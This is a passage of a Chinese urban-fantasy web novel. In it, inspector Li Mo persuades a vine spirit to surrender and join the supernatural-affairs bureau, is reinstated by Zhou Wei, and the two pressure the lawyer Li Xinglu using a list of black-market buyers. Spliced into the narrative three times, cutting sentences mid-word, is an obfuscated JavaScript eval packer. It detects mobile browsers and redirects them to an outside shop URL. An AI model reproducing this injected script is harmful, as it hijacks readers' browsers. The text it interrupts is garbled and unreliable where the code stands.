达摩克利斯之剑当空高悬,没有人敢对妖类放松警惕。 但话又说回来了,所有目前已知的S级妖类都在异监局的严密监控之下,哪怕是白泽这种上了“白名单”的,有什么异动也躲不过异监局的眼睛——会有一个S级妖类悄无声息地来到珑湖,在这里暗中搅弄风云吗? 周纬脸上浮现出一抹冷笑。 如果真是S级大妖到来,那还整这么多藏头露尾的操作干什么?反正也打不过,他大可一指头碾平珑湖市局,岂不更方便? 大家也不用在这里冥思苦想什么案子什么线索了,该吃吃该喝喝,到时候一起吹灯拔蜡、躺平等死完事。 ——不会是S级。 李默现在妖力受到灵枷压制,薛青青说的“比他强”,可能并不是指那个“好先生”的真实实力要超过李默,只是他目前展现出来的妖力和气势对她来说更具压迫感而已。 妖力暂且不论,“气势”这玩意儿可是很玄的——说实话,李默虽然人高马大的,但委实是个温吞性子,别人见他第一面可能还有些打怵,第二面就敢骑到他头上去了——有人能在“气势”这种东西上压过他,委实再正常不过。 反正周纬不觉得,这个不知从哪个犄角旮旯里冒出来的“好先生”,真就能比李默还强了。 当然,这也并不意味着珑湖市局可以放松警惕,因为薛青青能拿李默和那个“好先生”做对比,就证明对方的等级至少不会低于A级。 又一个A级出现在珑湖……还是个藏身暗处、不怀好意的。 周纬把眉心揉的通红通红,长叹了口气,总觉得今年才刚刚开始,就已经显现出流年不利的征兆来了。 那边厢,李默和薛青青的对话还在继续。 李默问她:“你接下来有什么打算?” 薛青青抬头,还了他一双清澈茫然的大眼睛。 李默:“……” 他在心里暗叹一声。 妖类并不是从化形开始才开启灵智的,通常在化形之前,妖类也会经过一段漫长时间的修炼。在这个过程中,他们灵智渐开,心智渐渐成熟,对万事万物都会形成自己的认知和思考。化形只是让他们从妖类原身变为人形,却并不会剥夺他们的知识、记忆和心智。 也就是说,妖类化形只是身体变小,但心智和头脑都会依然保持着化形前的水平——跟某个知名日漫小学生似的。 然而植物系妖类却要难办一些。 植物系妖类化形之前往往久居深山,人迹罕至,与外界全无接触,就算活个千八百年,心智也是白纸一张。它们又没有腿,走不出大山,哪怕心智渐开,想的往往也只是哪里的山泉更甘冽,哪里的阳光更充足,哪里的泥土更松软……总之想的都是生根发芽、开花结果那点儿事,十分的不成器。 所以才会出现薛青青这种,化形之后还对世界全无认知的妖类。’ 她就像是一朵被暴风雨卷上高天的小花,被全无预兆地抛入人世,不知在哪里扎根,只能孤独无助地随风飘荡,任凭无常的命运决定下一秒又要将她卷到哪里去。 而原本可以在风雨中接住她的那个人已经不在了。 电话那头,周纬也抱起了双臂,眸色沉沉地盯着眼前的手机。 说实话,薛青青现在的情况的确十分难办。感情上来说马宏昇罪有应得,薛青青的遭遇也十分令人同情——但法律不以人的感情倾向为转移,薛青青手上也确实沾了人命。 而在异监局,杀过人的妖类只有一种处理方式,就是被押往总部,择日处决。 这也是为什么周纬从夜市回来之后,没有再急着抓薛青青的原因——薛青青的分身之术给了他一个很好的借口,只要抓不到她的本体,这小藤妖就不会被“斩草除根”。 至于怎么维护法律尊严,怎么履行监察员的职责义务……周纬略微一思考就觉得十分头大,于是十分豁达地想,去他妈的,先拖着再说。 事有轻重缓急嘛……反正比起那个虐杀妖类制售灵器的神秘组织,薛青青一个区区小小藤妖的社会危害性要小得多了。 只是没想到,李默却以这种方式,猝不及防地把这个问题提到了面前。 其实,此时此刻比起薛青青的未来,周纬反而更想知道李默对待这个问题的态度。 虽然暂时停职,但李默也是正儿八经的监察员,按理来说,他要么应该苦口婆心地劝薛青青投案自首、接受法律审判,要么应该当场出手把这小藤妖拿下,哪怕只是擒住了一个分身,也是尽到了他监察员的责任和义务。 但他如果没有这么做…… 周纬眼睛一眯,耳畔又响起了徐培风的那句话: “找到他的破绽,把他送回总部去”。 就在这时,电话那头的李默终于说话了。 只听他说:“你要不要加入异监局?” 电话两端的薛青青和周纬同时一愣。 李默低头看着薛青青,认真地道:“你杀了人,妖力已经被‘烛照’系统记录在案,无论逃到哪里,只要被‘烛照’捕捉到妖力反应,就会遭到异监局全力缉捕捉拿,这样不是办法,你总不能这辈子都生活在逃亡中。同样,你也不能走正常流程去异监局登记备案,异监局一旦发现你的身份,就会把你当场捉拿押送总部的。” 薛青青不明所以地看着他,用疑惑的目光表达了自己的疑问——那我不是死定了? “我觉得你可以尝试投案自首,并且要求加入异监局。”李默解释道:“我在总部的时候,听说过有作乱的妖类被总部招降,加入异监局的案例,这不是一条死路。你杀马宏昇只是因为私人恩怨,社会危害性不强,异监局如果评估你有接受改造教育的余地,应该是有让你戴罪立功的可能性的。” “当然,加入异监局也不是没有风险和代价。”李默轻轻扯开了自己衣领,露出了脖子上戴着的漆黑项圈:“这叫灵枷,如果你加入异监局,就需要戴上这个。戴上之后就不能使 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091616|195446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用妖力了,你的所有能力都会被封印,你一开始会变得很弱、很不习惯……另外你还需要一个‘第一责任人’……” 他说到这里,停顿了一下。 周纬以为他要说自己,没想到他接着开口:“……我想周队会愿意帮你的。” 他想了想,又点点头,自己肯定了自己的想法:“我也是妖类,不知道有没有给别的妖类做‘第一责任人’的资格……但周队是个好人,我想他应该不会拒绝你的。” 被隔空发了一张“好人卡”的周纬流露出复杂的目光。 “不要担心,那个‘好先生’虽然说让你不要接近周队,但你不要信,周队是个很好的人,你可以信任他。”李默嘴角露出一抹自己都未曾察觉的轻柔微笑,低头看着薛青青:“……我也会帮你的。” 他最后道:“你可以考虑一下。” 薛青青轻咬下唇,清秀精致的小脸上露出“思考”那样的表情。 电话那头的周纬也在沉默着。他委实没想到李默会给出这样一个提议。 说实话,这个建议真的很冒险——薛青青一旦向异监局自首,就相当于把命交到了异监局手里,是死是活全看异监局决定。灵枷会同时封印“李代桃僵”之术,在掌握着这样强大的保命技能的情况下,自首委实不是一个明智的选择。 但周纬看得出来,李默是很认真地提出这个建议的。 他知道纵容薛青青逃亡是下下策……永无止境的逃亡之路,日日夜夜的风声鹤唳草木皆兵,这样的生活是会把人逼疯的。像薛青青这样还未成熟的小妖,如果真的纵容她就这样逃亡下去,且不说能逃多久,她的心理会在日复一日的担惊受怕中渐趋崩溃和疯狂,对人类的敌意会日益加深,以后再回到正轨上来的可能性就很小了。 周纬看得出来,李默正在努力创造一个契机——将这小藤妖被粗暴打断的社会化进程接续上,让她能够重回正轨,日后可以堂堂正正生活在天光之下。 他是这样想的,却将如此重托,托付给了周纬。 他对自己……就这么信任么? 周纬的思绪还在漫无边际地飘荡着,就听这时,薛青青说话了。 只听她问道:“如果我加入异监局……可以去上学么?” “嗯?”李默和周纬都是一愣。 这个答案可是大大地出乎意料。李默诧异地问她:“你想去上学?为什么?” “奶奶叫我去的。”薛青青道。 “她说,要是不上学,就不识字,长大了找不到好工作,就只能回来下地干活,出苦力。”薛青青认认真真地复述着薛奶奶的话:“她说我要有出息,就要考大学,将来挣很多很钱,搬到城里去住。” 对于一个大字不识的农村妇女来说,“下地干活”“出苦力”,可能就是她能想象到的最可怕的人生。 而“上大学”“找工作”“挣大钱”,就是她眼中最体面的生活了。 谁小的时候,没有被父母长辈寄予过这样的恐吓和期望呢? 所以在这个小藤妖的眼里,“上大学”“找工作”“挣钱搬到城里住”,就是她未来要走的人生了。 电话两头的两个大人同时沉默下来。 半晌,李默再次摸了摸薛青青的头,温和道:“好,我会帮你问一下的。” 薛青青碧绿的眼睛悄无声息地亮了起来。 她从长椅上跳下来,面向李默,认认真真地看了他一番,像是想记住他的模样:“你是个好人,你叫什么?” “李默。” “李默。”薛青青无声地把这两个字默念几遍:“谢谢你。我会回去召集我的分身,等她们都回来了,我就来找你。” 李默点头道:“好。” 薛青青朝他笑了一下。自见面到现在,这个女孩的脸上第一次露出这样活泼灵动的表情,随后转身跑进了林子里。李默坐在原地看着她,视线追随着她一晃一晃的麻花辫,直到那个身影完全消失在了林影深处。 25. 虽千万人 直到薛青青走得看不见了,李默才拿起一旁的手机:“周队。” 手机里传出周纬的声音:“李默,做得好。” 李默无声地一笑。 “从薛青青这里我们得到了很多线索,这一趟你立功了。”周纬道:“你先回局里,后续的事我们再商议。” 他一边说着,一边从办公桌前起身,脑子想着的是自己之前正在盘的那块白板,上面有些空缺现在可以补上了。 然而不知是不是他起得有点急,或是心思都还在案子上,周纬人刚站起身,眼前却蓦然一黑。 刹那间他心头一跳,心道:“不好。” 他的胸腹处陡然蹿起一股剧烈的疼痛,刹那间蔓延至四肢百骸,顿时抽走了他所有的力气。周纬不由身子一软向前栽倒,下意识地伸手一掌撑向桌面,顿时发出“砰”的一声巨响。 这一下失了控制,声音不小,手机那头的李默顿时一愣:“周队?” 周纬额头青筋暴起,咬牙道:“……没事,我把笔记本碰掉了。” 疼痛来得剧烈且猝不及防,周纬冷汗都下来了,脸色煞白,眼前一阵一阵地发黑,咬牙死死地将颤抖的喘息声憋回了喉咙里,撑着桌子的手臂上青筋蜿蜒贲张,几欲破皮而出。 他勉强抬头看了眼门口,确定办公室的门还好好地管着,随即轻轻抽了口气,抖着手探到怀里想去拿烟。 然而伸手摸了个空——周纬这才想起,那包烟已经随着白泽的锦囊一起,交给魏观烛了。 ——对了,魏观烛! 周纬弓背弯腰,一手撑在桌子上,一手死死按着心口,身上疼得直打哆嗦,眸光却蓦然一亮——谁说他们没有对付李星路的办法了?! 手机那头,李默等了半天也没有等到周纬的下一句话,疑惑道:“周队,你怎么了?” “唔……我没事。”停顿片刻,周纬的声音才传过来,声调听着倒还算稳定:“你先回来,我想到怎么搞定李星路了。” “……”李默虽然心怀疑虑,却也没法再说什么,只好应道:“好,我这就回市局。” 电话挂断,周纬这才终于松了劲儿。他整个人像是突然被抽掉了骨头似的,“哗啦”一下散了架子,直接瘫在了办公椅上。 体内的疼痛细密而绵长,从刚开始针扎一样的剧痛变成了丝丝缕缕的抽痛,仿佛有无数蚂蚁在体内游走,啃噬经脉。周纬眼前一阵阵发花,咬牙搭上了自己的脉搏,直到默数过了三十个数,这阵造反一样的痛楚这才缓慢褪去。 周纬缓缓地长出一口气,睁开了眼睛,冷汗淋漓,睫毛上居然挂起了一层朦胧的雾气。 ……这痛楚久违不见,自己的承受能力居然有点下降了。 他自嘲地笑了一声,扭头看向自己右腕上的“灵晔”。 “灵晔”是顶级灵器,其品阶之高甚至不太好用现在通用的灵器等级标准来界定,因为它被制造出来的年代远比灵器等级出现的时间还要早得多。 相传这是数千年,人妖两族大战时的产物,其主材乃是一条龙筋……说起来“灵晔”跟现在夜市上的那些黑货一样,也都是用妖类躯体为材料炼制的。只是当年两族交战,双方相互都恨不得将对方斩尽杀绝,食其肉寝其皮的事数不胜数,彼此平等地血债累累,相比之下杀妖炼器倒属实算不上什么了。 此物由来已久,乃是周纬的家族传承之宝。宝器有灵,这一代选择了周纬认主。 只是强也有强的坏处。灵晔是雷属性灵器,而雷火之力本就是最暴烈难驯的一类灵力。动用灵晔会给周纬的身体带来很大的负担,所以他平时都是能不用尽量不用。没想到久不动用,这副身体居然还钝了,这次只是在夜市召雷劈了李星路一记就反应这么大,属实有点得不偿失。 周纬暗自嘬了嘬牙花,在心里又默默给李星路记上了一笔。 等李默回到市局,已经月上柳梢。 周纬在大楼门口等着接他。 三月初春的天气还是有些冷的,到了晚上更是凉意瘆人。只是周纬这人向来是要风度不要温度,身上只穿着一件深蓝色的单衬衣,一件鲜亮的朋克风机车夹克披在肩头,迎着白亮亮的月光摆出了个拉风的造型,对着踏月归来的李默漏齿一笑。 也许是今晚的月光太亮了,照得周纬整个人都像是披了一层浅淡的白霜,李默抬眼望过去,几乎被他的笑容晃了一下,不由得脚步一顿。 只听周纬道:“我还以为你生气了。” 李默一愣,随即反应过来——周纬说的是他们分手的时候。 他轻轻一哂,摇了摇头,走到了周纬身边,却没说话,先不动声色地打量了他一遍。 ……他看起来倒是还好。 周纬面色如常,呼吸均匀稳定,唇色红润,双眸明亮有神,连那一头桀骜不驯的黑发都还在东一簇西一簇的翘着,活脱脱是一个神采飞扬的样子,不像有什么问题的模样。 李默心里稍稍安定下来,也许当时隔着手机听到的那一声痛苦的声响只是他的错觉。 “看什么呢?”周纬一挑眉:“晚上没吃饭,拿本队长的美色过眼瘾?” 李默从善如流地捧了个场:“秀色可餐。” 周纬瞪了他一眼,骂道:“滚蛋。” “正好我也没吃饭呢,”骂完他又笑了,转身朝着市局大楼内走去:“滚到食堂来,陪我一起吃。” 兜兜转转,他们还是吃上了这顿一波三折的晚餐。 到了这个点钟,市局大部分的监察员都已经下班,食堂早空了,反而被周纬和李默包了个场。两人从保温柜里取出热了又热的晚饭,莫名品出了点“苦中作乐”的味道。 市局的伙食不错,晚餐里还有海鲜。周纬拎着两个指头剥虾,边剥边开口:“没想到你会让薛青青来投案自首,我还以为你会建议她赶紧跑路。” 李默摇了摇头道:“逃亡是下策。” “上策就就是投奔异监局么?你就这么肯定这是个好主意?”周纬颇有深意地看了他一眼:“万一我保不住薛青青,你这个主意可就把她往死路上推了。” 李默的动作一顿。 李默整体上是个极“规矩”的人。也不知道因为是不是化形之初古装剧看多了,他举手投足之间,都透着一种跟现代人格格不入的斯文端方的感觉,一板一眼的,看着沉稳又有方寸,就连此时吃饭也是腰背挺直,姿态端正,拉出去就能直接到某些古装剧片场当个仪态教科书,神色庄重得仿佛正在进行一场极神圣的仪式。 而这样的姿态一旦被打断,往往就会让人觉得,接下来他要说的话,格外有分量。 只听李默道:“周队认为,薛青青该死么?” 周纬“嗬”地一声笑了,心道:“反问我?” 他跟李默恰恰相反,平生视规矩如放屁,常态就是坐没坐相站没站相,姿态更是怎么自由散漫怎么来。此刻他两个手肘撑在餐桌上,将手中的一只虾拈到半空,垂着手腕,双手只屈尊出动了两根手指拎着那只虾,目光刚好越过双手,落在李默脸上。 只见他一笑,干脆地道:“不该。” “马宏昇钻法律空子,害死了薛爱梅;薛青青为她报仇杀了马宏昇,这叫百因必有果,你的报应就是我。”周纬慢慢悠悠地开了口:“如果薛青青是个人类,考虑到她的自首情节、被害人过错和社会危害性,基本可以确定够不上死刑,顶天了也只会判个无期——当然如果她是个人类,要给她量刑,恐怕还得先过《未成年人保护法》那一关。” “但是,”他突然话锋一转,语调冷了下来:“我觉得她不该死,不代表她可以是《监察法》中的那个例外——你明白我的意思么?” 他目光深沉地看向李默。李默沉默片刻,点了点头:“我明白。” 周纬打量着他的表情,猜出了他接下来要说的话:“——但是?” “但是,”李默顺着他的话说了下去:“无论《监察法》对她的判决是什么,周队认为她‘不该死’这一点,都是不会变的,不是么?” 周纬微微一愣。 “我知道人类有一句话,叫做‘公道自在人心’,我很喜欢。”李默放下了筷子,直视着周纬道:“我虽非人类,不敢妄言‘人心’,但我觉得,‘人心’是一种很强大的力量。” “心之所向,虽千万人,吾往矣。”李默轻叹一声:“妖类,是创造不出这样的字句的。” 周纬的眼睛轻轻地睁大了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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还有我——心之所向,无论成败,虽千万人,我陪你。 刹那间,周纬的心剧烈地一颤,几乎被“还有我”这三个字激出一股“吾道不孤”的悲愤胸怀来。 心跳震如擂鼓,周纬狠狠地闭了闭眼。 不知沉默了多久,再睁开眼时,他看着李默的目光中,多了几分说不清道不明的复杂神色。 他道:“说实话,我没有想到竟然能从你嘴里听到这些话。” 李默轻轻一笑。 “那天在小张庄,你要对张存义夫妇动手,我还以为你也是那种不通人性、不将监察员守则放在眼里的妖类。”周纬缓缓点了点头:“我很高兴我错了。” 李默的脸上出现了几分错愕,没想到会从周纬这里得到一句这么直白的夸奖。 “……但今天晚上你这番话,证明了至少在这件事上我没弄错。”周纬说着,从口袋里掏出一样东西,递给李默:“看看吧。” 李默一愣,接了过来。只见那是一张折起来的纸页,纸页打开,上面开头印着一行字——《关于同意恢复李默同志监察员职位的决定》。 红头文件,有标题有落款,最下方一个珑湖市异监局的红章端端正正地印在下面。 李默震惊了:“周队,这是……?” “之前因为你涉案情节,局里暂停了你的调职手续,现在经过调查,你的嫌疑基本可以洗清,可以恢复监察员职务。”周纬淡淡道:“我现在代表市局正式通知你,李默同志,你可以归队了。” 李默难以置信地看着他。 “说起来,”周纬突然想到了什么似的,打量了一下周围空荡荡的食堂:“从你来到局里之后,这还是你第一次来食堂吃饭吧?” 他突然自说自话地笑了:“也行,虽然简单了点,这顿饭就权当给你接风了。” 说罢,他拿过一张纸巾擦了擦手掌,然后随意地往旁边一抛,隔着桌子,向李默伸出了右手来。 “A-1307号监察员,李默同志,”他迎着李默呆愣的目光,露齿一笑: “欢迎你加入珑湖市异监局。” “我很高兴……与你共事。” 26. 破绽 李星路这几天,着实体验了一把食不下咽、睡不安寝的日子。 自从那天周纬暗示他,异监局已经通过马宏昇的那个加密U盘掌握了他们制售灵器黑货的证据之后,李星路整个人都陷入了一种惶惶不可终日的状态中,只觉得自己货真价实命悬一线——那线不在异监局手里,而在他背后的那些人手里。 没有人知道那个组织的网铺开得有多大,背后的势力有多可怕。 李星路加入这个组织是在五年前——确切地说,五年前,是组织的人找到了他,向他提出了合作。 当时的李星路刚刚参加完异监局三年一度的注册炼器师考核,却失败了——他固执地认为自己身为赤阳李家子弟受到了排挤,是异监局刻意打压外部炼器师,意图培植属于自己的炼器师势力,从而更好地收拢掌控整个炼器行业——而不承认是自己的技术问题。 而此时找上门来要求合作的组织,对他来说无异于提供了一个令他大展拳脚的平台,简直是瞌睡了就有人递枕头。 双方一拍即合。 然而等到真正加入组织之后,李星路才意识到,自己这是一脚踏入了一座深渊里。 这个组织的能量之庞大,简直超出了他的想象。他们能够源源不绝地给他提供妖类作为炼器主材,五年来甚至从未惊动异监局;无论他要求多么罕见的炼器材料,他们都能在短时间内弄到——有些甚至只应存在于异监局总部的秘密仓库里。 细思简直令人不寒而栗。 然而李星路已经无法回头了。 如此庞大的组织,却能毫无破绽地在异监局眼皮子底下蛰伏这么久,对成员的管控之严格可想而知。李星路简直不敢想象组织得知灵器黑货的事泄密之后,自己会有什么下场。 这几天来他深陷恐惧之中,几乎没有睡过一个好觉,整个人形销骨立,眼窝深陷、面颊凹瘦,活像见鬼,跟前几天在周纬面前游刃有余大放厥词的那个精英律师简直判若两人。 更缺德的是,周纬甚至给他断了网。 现代人离了互联网能活几天?反正李星路觉得自己是快活不下去了。几天来他无法跟任何人接触,也无法从外界了解到半点信息,更不知道情势已经发展到了哪一步。 组织发现他失踪了吗?知道灵器黑货泄密的事了吗?已经怀疑到他头上了吗? 这些全然无从求证。 然而人就是这样,越是无法得知结果的事,越是更容易往最坏的结果上去想。 越想越怕,越怕越想,最后生生把自己勒死在了名为“恐惧”的套索里。 他也曾试着抗议,要求离开这间病房,无数次怒吼着说他们这是侵害了他的人身自由。然而医研中心的医护人员们充耳不闻,每次他试图反抗,就会得到医护人员们更加“无微不至”的关照——身上被再次涂满凝胶,然后用绷带裹成个木乃伊。 李星路这才意识到,自己这是以“治疗”的名义,被监禁起来了。 那天杀的周纬!!! 数日来李星路不知将“周纬”两个字在舌尖滚过多少遍,恨不得食其肉寝其皮。因此,当周纬再次带着李默来到病房“探望”李星路时,看到的就是他这样一副不共戴天的模样。 周纬仍然是那样一副春风满面的样子,人还镶在门框里,抬手就对李星路奉送了三斤笑容:“呦。” 这一个“呦”字差点没把李星路“呦”成一座人体火山。 “周纬!!!”李星路差点儿从病床上跳起来:“我要告你非法囚禁!你践踏法律,你目无人权!你……” 他还没“你”完,周纬就无聊地掏了掏耳朵,叹了口气:“看得出来李大律师实在是高级知识分子了,骂人的词汇量这么贫乏。如果是我,高低得先来一句‘狗娘养的’。” 李默无奈地抬头看了他一眼,略带谴责地道:“周队,不要侮辱动物。” 他是在周纬之前进的门,进了门就把李星路按在病床上了——所以此人只是‘差点儿’从病床上跳起来——在李默手中,李星路的那点挣扎的力气也就跟蚂蚱蹬腿儿差不多,李默一只手就把他的双手反剪到了背后,用一个堪称“彬彬有礼”的姿势,将这人镇压在了病床上。 “看到李律你这么有活力,那我就放心了。”周纬像上次一样拖了把椅子坐在病床前,大大咧咧地翘起二郎腿,四下扫视一番,露出了一个欣慰的笑容来:“看来我们的医护人员把你照顾得很好嘛。” 李星路恨不得双眼喷火,原地给周纬烤个外焦里嫩。 他一开始挣扎了几下,然而在李默面前属实显得可笑,于是干脆也放弃了,冷笑一声,捡起了舌头这条浑身上下唯一还能动的武器,专心地跟周纬打起嘴仗来:“周队,过了这么多天,终于又想到别的话术来诈我了?” 周纬意外地一挑眉:“呀,你终于发现了?” 李星路冷笑不已。 周纬对此倒并不意外。李星路毕竟是资深律师,自己经历过的审讯没有一千也有八百,就算一时被周纬抓住破绽诈了一把,事后看到异监局迟迟没有其他动作,他也会很快反应过来,明白异监局手上其实并没有抓到什么真凭实据。 因此这次再见周纬,李星路也只是怒,而不是怕——因为光天化日朗朗乾坤,他料定再给周纬十个胆子,也不敢公然挑衅《监察法》。 他猜对了,周纬确实没这个打算。 因为根本没必要。 只见周大队长老神在在地从怀里掏出了一张纸,然后用两根手指“捻起”那张薄薄纸页,在李星路面前“缓缓”展开,十分“不经意”地瞥了一眼,然后“恍然”地瞪大了眼睛,“惊讶”道:“哎呀?我这里怎么有一份名单?” 李星路:“……” 李默:“……” 周队这夸张做作的演技杀伤力太强,竟然是个不分敌我的AOE技能。 只见周纬毫不引以为耻,笑吟吟地看了李星路一眼,好像突然才发现他没戴眼镜似的,遂体贴入微地主动提出帮忙:“哎呀,李律眼睛不方便是不是?没关系,我念给你听。” 他于是拖长了音调,高声道:“南雎王氏子弟,王圣源——” 这个名字一出,李星路当即变了脸色。 然而周纬像是根本没看到似的,继续抑扬顿挫道:“高盛集团总裁,陈惠哲——” “你,你们怎么……”李星路的嘴唇哆嗦起来。 周纬仍然视若无睹:“‘寐煞’姐妹二人,梅束青和梅束华……” “别念了……” “东海乌家家主,乌尚鋆……” “我说别念了!!!”李星路突然爆发了,猛地大吼一声。 周纬这才放下了手中纸页,挑起眼皮瞥了一眼眼前那人。只见李星路脸上血色褪得干干净净,整个人抖如筛糠,眼瞳里透着难以名状的恐惧。周纬这才觉得解气点儿了,毫不掩饰地大笑了一声:“哈,能看到李大律师这副表情,真是倒找给我钱我都愿意。” 李星路此时已经顾不上周纬夹枪带棒的嘴皮子功夫了,他颤抖着道:“你……你们是怎么……怎么拿到……” “怎么?”周纬眉峰高高挑起,毫不客气地嘲讽道:“拿了钱就拍拍屁股走人,李大律师啊,这么快就连自己的老主顾们都不记得了吗?” 这份名单,正是从魏观烛那里得来的。 那天在夜市里,魏观烛虽未给出准话,但周纬料定,夜市对于这点“小忙”应当不会拒绝。毕竟堂堂S级妖兽白泽都被他卖了,再换不回点什么来真说不过去。 于是那天食堂晚餐之后,周纬和李默当即就开始了行动。 当时离开夜市时,周纬直接将作为“通行证”的白烛带了出来。那白烛本就是魏观烛的妖力造物,离开夜市之后虽然失去了各种强大神奇的能力,却依然能与魏观烛沟通。两人直接上了周纬办公室,把门一关,偷偷摸摸地就把那根白烛点了起来。 点蜡烛的时候周纬还很不满意,挑刺道:“你说这魏观烛什么审美?蜡烛就算了,还是根白的,多不吉利?弄成红的多好。” 李默一脸无奈地看着他,心想——红的,那不成喜烛了么? 周纬把蜡烛点了起来,又意思意思地倒了点灵砂,算是给魏观烛上了供,随后就点起一张纸条,用白烛将纸条烧了个干净。那纸条上只有三个字:“李星路”。 按照当时在夜市的约定,周纬会给魏观烛提供一个名字,魏观烛则会帮忙查出近期跟这个人有生意往来的买家和卖家。当然,也只有名字,至于买卖了什么、交易额多少之类,一概都是没有的。 但只有名字,也够了。 果然周纬他们静待了一会儿,就见那白烛的火苗突然暴涨,紧接着从火焰里,原模原样地又“烧”出了一张纸条来,就跟通过火焰穿越了似的。 纸条上用潇洒飘逸的字体留了两个字:“三天”。 那意思就是三天之后,魏观烛会将周纬需要的信息送来。 这笔生意就算是做成了。 果然三天之后,又一张纸条从火焰里穿越,来到了周纬手上,成为了李星路脖子上那把高悬的铡刀。 “李大律师,我想你很清楚,我们拿到这份名单,对你来说意味着什么。”周纬终于从椅子上站了起来。 “当然,你也可以继续抵赖,说你不知道这些人是谁,也不知道这份名单有什么意义。”周纬居高临下地看着他,轻蔑一笑:“但是我可以告诉你,这些人分布在全国各地,我在拿到这份名单的第一时间,就已经将消息通知了他们所在城市的异监局。此时此刻,我全国各地的同事们手里拿着搜查令,应该正在赶往这些人住所的路上。” “你猜,”他一脸开朗地道:“他们会不会搜出一些,不该存在的东西呢?” 李星路额头上冷汗涔涔。 他仍旧试图挣扎,梗着脖子道:“这说明不了什么,这跟我没关系……” “所以我说,你大可继续抵赖。”周纬两手一摊,耸了耸肩道:“不过我已经通知了我的同事们,在搜查这些人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091618|195446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家里的时候,务必要确保让他们知道,他们买卖过灵器黑货的消息,是一个名叫‘李星路’的人透露出去的。” “你!!!”李星路的双眼骇然圆睁。 “啊,如果我是其中的一个买家,估计这时候已经火冒三丈了吧?”周纬抱起双臂,歪着头,故作苦恼状,开始在李星路面前踱步:“而如果我试图打探‘李星路’的消息,就会了解到他已经失联数日,不见踪影……再联想到从异监局的说的话,我大概就能猜出,是这个曾经将黑货卖给我的‘李星路’被异监局抓了,为求自保,供出了他们这些下家……” “你……卑鄙……”李星路的双眼中逐渐透露出绝望。 “过奖过奖,本人在李律面前哪敢自夸卑鄙。”周纬单手在自己面前挽了个花,以上台领奖的姿势接受了这句夸奖:“总之呢,如果我是那些买家,遭到这种背叛,肯定是不会再替这个‘李星路’遮掩了。我必定会一五一十地交代出跟他的交易经过、时间、货物、资金往来渠道等种种明细……李大律师,到时候,你还觉得我们手上没有真凭实据么?” 李默已经把李星路放开了。这人宛如变成了一滩融化在阳光下的烂泥,软软地瘫在了病床上,委实也没什么必要再拘着他了 “总之呢,李大律师,我劝你不要再做什么回归社会的春秋大梦了。”周纬悠哉悠哉地道:“购入灵器黑货不是重罪,最多没收黑货、罚款了事,更多的还是伤面子。只是这些买家都不是一般势力,而且可不像异监局这么讲证据讲法律,你怕不是走出异监局大门的下一秒就会被套麻袋……” 说到这里,他语音一顿,倏然笑了起来:“而且……” “而且你就算不怕他们,难道不怕你背后的那个组织,杀你灭口么?” 李星路浑身骤然剧烈地一颤。 周纬戳中了他内心深处,最可怖的恐惧。 不管那些自以为被出卖的买家有多么暴跳如雷,李星路仍然觉得自己有一线生机——他在灵器黑货这一行里里浸淫多年,也不是一点势力和人脉都没有攒下的。如果只是这些人想要针对他,李星路还有胆量拼死搏上一把。 然而如果是那个组织…… 李星路哪怕只是想想,大脑都像是要被冰冷的绝望逐渐淹没。他根本没有对抗组织的可能——这根本就不是同一个量级的对手。‘ 除非…… 除非他能给组织找一个,与它旗鼓相当的对手,一个势均力敌的敌人…… 鹬蚌相争,得利的不一定只有渔翁,还有可能是那些本来注定要被鹬鸟吃掉的小虾米。 周纬站在一旁,冷眼打量着李星路,仿佛能透过他那被剃得“一毛不拔”的脑壳,看清楚里面的那个决定正在缓缓成型。 真是个永恒的精致利己主义者。 他冷笑一声,也不想再跟这种烂人多加废话,直截了当道:“李大律师,想好了吗?” 李星路抬头望了他一眼。 然后,只见他缓缓直起身子,在病床上重新坐好了。借由这个动作,曾经那个“精英律师”的体面和傲慢仿佛又上了身,李星路声音沙哑地开了口:“看起来我现在除了跟异监局合作,已经没有别的选择了,不是么?” 他道:“你们想要什么?” 周纬豪不废话:“关于你背后组织的一切。” “不可能。”李星路断然拒绝道:“你以为这个组织暗中经营多年,势力如此庞大,为什么你们异监局却一点信息都没收到?因为组织对内部人员的管控之严格,根本不是你们能想象到的。” 他抬起一根手指,点了点自己的太阳穴:“这里。就连我这种边缘人物,在加入组织的第一天,识海里就被种下了禁制。只要我胆敢泄露组织的秘密,哪怕仅仅是起了一个泄密的念头,禁制都会“轰”——” 他做了个“炸开”的手势,冷笑道:“把我的脑袋炸成个烂西瓜。” “哦?”周纬抱起双臂,挑眉道:“这么说,李律对我们来说岂不是一点用处也没有了?” “那当然不是。”李星路轻蔑道。 “你已经把我的退路全都堵死了,把我强行推到了组织的对立面,我不想死,自然就要想办法让他们死。”李星路的脸上骤然掠过一抹阴狠:“我们组织内部有一套特殊的联系方法,只有由我本人使用。我可以联系我的上线,陪你们做场戏,把他钓出来。到时候能不能抓到他、能不能审出什么结果来,就看你们的了。” 